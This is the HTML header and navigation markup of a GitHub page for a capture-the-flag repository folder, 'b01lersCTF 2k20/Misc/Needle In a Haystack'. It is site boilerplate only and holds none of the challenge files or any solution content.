<meta name="request-id" content="C429:C4BC:8B44E3:9BC2BD:61830837" data-pjax-transient="true"/><meta name="html-safe-nonce" content="2ac63ba57faba38414006638b4f43dff2e350e2ba1a5ae70cc5c05f5e453b644" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJDNDI5OkM0QkM6OEI0NEUzOjlCQzJCRDo2MTgzMDgzNyIsInZpc2l0b3JfaWQiOiI1OTIwMzIyNTIzNjAzMjkyNzEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="51c77b9487572df39e052b1353feef54a500843344e02f451a831b8def868ca8" data-pjax-transient="true"/>
<meta name="hovercard-subject-tag" content="repository:297235729" data-pjax-transient>
<meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" />
<meta name="selected-link" value="repo_source" data-pjax-transient>
<meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
<meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" />
<meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" />
<meta name="hostname" content="github.com"> <meta name="user-login" content="">
<meta name="expected-hostname" content="github.com">
<meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION">
<meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5">
<meta name="go-import" content="github.com/Ammmy7580/Ctf git https://github.com/Ammmy7580/Ctf.git">
<meta name="octolytics-dimension-user_id" content="65226186" /><meta name="octolytics-dimension-user_login" content="Ammmy7580" /><meta name="octolytics-dimension-repository_id" content="297235729" /><meta name="octolytics-dimension-repository_nwo" content="Ammmy7580/Ctf" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="297235729" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Ammmy7580/Ctf" />
<link rel="canonical" href="https://github.com/Ammmy7580/Ctf/tree/master/b01lersCTF%202k20/Misc/Needle%20In%20a%20Haystack" data-pjax-transient>
<meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
<meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
<link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
<meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" />
<link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
</head>
<body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
<div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span>
<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg>
<div class="d-lg-none css-truncate css-truncate-target width-fit p-2">
</div>
<div class="d-flex flex-items-center"> Sign up
<button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg>
</button> </div> </div>
<div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg>
</button> </div>
<nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span>
Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span>
GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span>
<h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details>
Marketplace
<details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary>
<div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span>
Compare plans <span>→</span> Contact Sales <span>→</span>
Education <span>→</span> </div> </details> </nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0">
<div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="297235729" data-scoped-search-url="/Ammmy7580/Ctf/search" data-owner-scoped-search-url="/users/Ammmy7580/search" data-unscoped-search-url="/search" action="/Ammmy7580/Ctf/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="JPy3kyx+zZduj8xBol2G8ABzEhxiUzHrhwnmIO1D2baNnPOnv011QDek0zQSbcPujJNkwJMfnI2l9sx8sHa1mA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div>
Sign up </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div data-pjax-replace id="js-flash-container">
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div>
</div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container >
<div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace>
<div class="d-flex mb-3 px-3 px-md-4 px-lg-5">
<div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> Ammmy7580 </span> <span>/</span> Ctf
<span></span><span>Public</span></h1>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications
<div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span>
0 </div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork
0
</div>
<div id="responsive-meta-container" data-pjax-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span>
